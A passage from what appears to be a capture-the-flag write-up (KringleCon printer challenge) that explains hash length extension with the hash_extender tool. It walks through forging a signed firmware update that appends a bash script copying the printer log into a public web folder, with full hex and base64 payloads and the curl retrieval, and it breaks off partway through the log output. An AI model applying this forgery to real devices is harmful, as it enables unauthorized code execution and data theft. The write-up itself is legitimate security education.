‘A’s to ensure that any internal values — other than the state of the hash itself — are set to what we expect.</p><p>Then, after that is done, we replace <em>c.A</em>, <em>c.B</em>, <em>c.C</em>, and <em>c.D</em> with the values that were found in <em>signature</em>: <em>6036708eba0d11f6ef52ad44e8b74d5b</em>. This puts the MD5_CTX structure in the same state as it finished in originally, and means that anything else we hash — in this case <em>append</em> — will produce the same output as it would have had we hashed it the usual way.</p><p>We use <em>htonl()</em> on the values before setting the state variables because MD5 — being little-endian — outputs its values in little-endian as well.</p><p><strong>Result</strong></p><p>So, now we have this string:</p><pre> 0000 64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00 data………… <br> 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………… <br> 0030 00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64 …P……append</pre><p>And this signature for <em>H(secret || data || append)</em>:</p><pre>6ee582a1669ce442f3719c47430dadee</pre><p>And we can generate the signature without ever knowing what the secret was! So, we send the string to the server along with our new signature. The server will prepend the signature, hash it, and come up with the exact same hash we did (victory!).</p><p><strong>The Tool:</strong></p><p>An example of hash_extender for the above example:</p><pre>$ ./hash_extender — data data — secret 6 — append append — signature   6036708eba0d11f6ef52ad44e8b74d5b — format md5 <br> Type: md5 <br> Secret length: 6 <br> New signature: 6ee582a1669ce442f3719c47430dadee <br> New string: 64617461800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000617070656e64</pre><p>There are plenty of options for how you format inputs and outputs, including HTML (where you use <em>%NN</em> notation), CString (where you use <em>\xNN</em> notation, as well as <em>\r</em>, <em>\n</em>, <em>\t</em>, etc.), hex (such as how the hashes were specified above), etc.</p><p>By default I tried to choose what I felt were the most reasonable options:</p><p>Input data: raw</p><p>Input hash: hex</p><p>Output data: hex</p><p>Output hash: hex</p><h3>Printer Exploitation</h3><p>So with all of this new information, how do we apply it? Looking at the printer website, there’s not much information yet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*LwW7hrzea89oObKBhxb8DQ.png" /></figure><p>Furthermore, the settings and reporting pages all require a password to access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*XbnoeA-L_SBM_4uRAb-OHw.png" /></figure><p>Navigating the Firmware Update we find something:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hXqXda5E-zrneUOmM3xK9Q.png" /></figure><p>If we download the current firmware file, we have the following components:</p><ul><li>Firmware (or command)</li><li>Signature (which equals Hash(<em>secret || data))</em></li><li>Secret Length</li><li>Algorithm (or hash)</li></ul><p>So we have all the information we need! Well… within reason — the firmware command seems to be base64 encoded, and the hint also states the firmware is base64 encoded.</p><p>Using CyberChef, let’s Base64 decode this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*fNtwEzH5eQOf-g9QZH7C5g.png" /></figure><p>By analysing the code further, we can see the header has the ASCII header value PK , <a href="https://www.garykessler.net/library/file_sigs.html">which indicates this file is zipped</a>. The file also appears to be called firmware.bin. If we unzip it, we can then analyse further:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*InnCCdkZiDyOlYLUc6YFyA.png" /></figure><p>The full string is pretty lengthy, but as you can see the following is present:</p><p>/lib64/ld-linux-x86–64.so.2</p><p>Which can indicate the firmware is of a Linux distro, further confirmed by a string later appearing called Debian 8.3.0. So we can probably append the firmware to add Linux Commands right? Or maybe even run a shell?</p><p>Easiest way to do this would be to write out a script. Given this is a challenge for everyone, removing or moving the file probably won’t work, but what about copying?</p><p><strong>Script:</strong></p><pre>#!/bin/bash</pre><pre>cp /var/spool/printer.log /app/lib/public/incoming/output</pre><p>So let’s work through the hash_extender command.</p><p><strong>hash_extender parameters and values:</strong></p><pre> — file = firmware.zip</pre><pre> — secret = secret length which the original JSON file = 16</pre><pre> — append = which we need to encode and ensure is readable for the printer but the script above will be included</pre><pre> — signature = the original signature which = 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97</pre><pre> — format = sha256</pre><p>To ensure this is a clean output we probably also want to ensure that the format appended is in hex so it’s easier to copy and decrypt:</p><pre>  — out-data-format hex</pre><p>So for now the command will look like this:</p><pre>$ ./hash_extender — file firmware.zip — secret 16 — append &lt;zipped appended command&gt; — signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 — format sha256 — out-data-format hex</pre><p>Let’s look at the appended command.</p><p><strong>Appended command:</strong></p><pre>$ cat firmware.bin</pre><pre>#!/bin/bash</pre><pre>cp /var/spool/printer.log /app/lib/public/incoming/output</pre><p>Running this command will require full execution, therefore change the rwx rights for the file:</p><pre>$ chmod 777 firmware.bin</pre><p>Next let’s zip it as this is the format of the executable prior to us unzipping it:</p><pre>$ zip -r firmware.zip firmware.bin</pre><pre>updating: firmware.bin (deflated 15%)</pre><p>Opening the appended zip file:</p><pre>$ cat firmware.zip</pre><pre>P?I%T?KL?@J</pre><pre>firmware.binUT 1a?a9a?aux</pre><pre>?5?1?н??q?? ???????7?u??iM???C????f1:(????T?.q???}??P?I%T?KL?@J</pre><pre>??firmware.binUT1a?aux</pre><pre>?PKR?192</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RdWNTzcACnFS9DqrWAAdQA.png" /></figure><p>Now you can see that the zip file in raw format is not on a single line and therefore needs to be converted into hex; one of the input values accepted:</p><pre>$ cat firmware.zip | xxd -p -c 99999999999</pre><pre>504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000</pre><p>Using this as the appended command, let’s now amend our hash extender command:</p><pre>$ ./hash_extender — file firmware.zip — secret 16 — append 504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000 — append-format hex — signature 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 — format sha256 — out-data-format hex</pre><p>Note: we’ve added an appended-format as hex as the zipped file was raw input.</p><pre>Type: sha256</pre><pre>Secret length: 16</pre><pre>New signature: c901f1a1fb1d0e37e8a0c104f5e919cd991b508aca27911392f43e0124d488a6</pre><pre>New string: 504b030414000000080045a5905316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003a2a4bb61a2a4bb6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e0314000000080045a5905316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003a2a4bb6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800ab492554ee4b4ce1400000004a0000000c001c006669726d776172652e62696e55540900033161d5613961d56175780b000104f5010000041400000035ca310e80300805d0bda7a871f79f0988a9240884aae7d7c537bf7501ab83691e4db2e3a1c2cc084396fab5d766313a2813a68cbcd954a02e71aa8f3f7da7bd504b01021e03140000000800ab492554ee4b4ce1400000004a0000000c0018000000000001000000ff81000000006669726d776172652e62696e55540500033161d56175780b000104f50100000414000000504b0506000000000100010052000000860000000000</pre><p>Copying the new string into a file called newfilestring:</p><pre>$ nano newfinalstring</pre><pre>$ cat newfinalstring | xxd -r -p | base64</pre><pre>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</pre><p>Add this to the firmware JSON exploit, then replace the signature value with the output from hash_extender like so:</p><pre>{“firmware”:”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”,”signature”:”c901f1a1fb1d0e37e8a0c104f5e919cd991b508aca27911392f43e0124d488a6&quot;,”secret_length”:16,”algorithm”:”SHA256&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jCHpJanBsulfKNhHkQ6F8g.png" /></figure><p>Reupload in the update firmware and you should have success:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NItTQotbqoKNV6nUfo5csQ.png" /></figure><p>Finally, curl the command based on the hint:</p><pre>$ curl <a href="https://printer.kringlecastle.com/incoming/printerlog">https://printer.kringlecastle.com/incoming/printerlog</a></pre><pre>Documents queued for printing</pre><pre>=============================</pre><pre>Biggering.pdf</pre><pre>Size Chart from <a href="https://clothing.north.pole/shop/items/TheBigMansCoat.pdf">https://clothing.north.pole/shop/items/TheBigMansCoat.pdf</a></pre><pre>LowEarthOrbitFreqUsage.txt</pre><pre>Best Winter Songs Ever 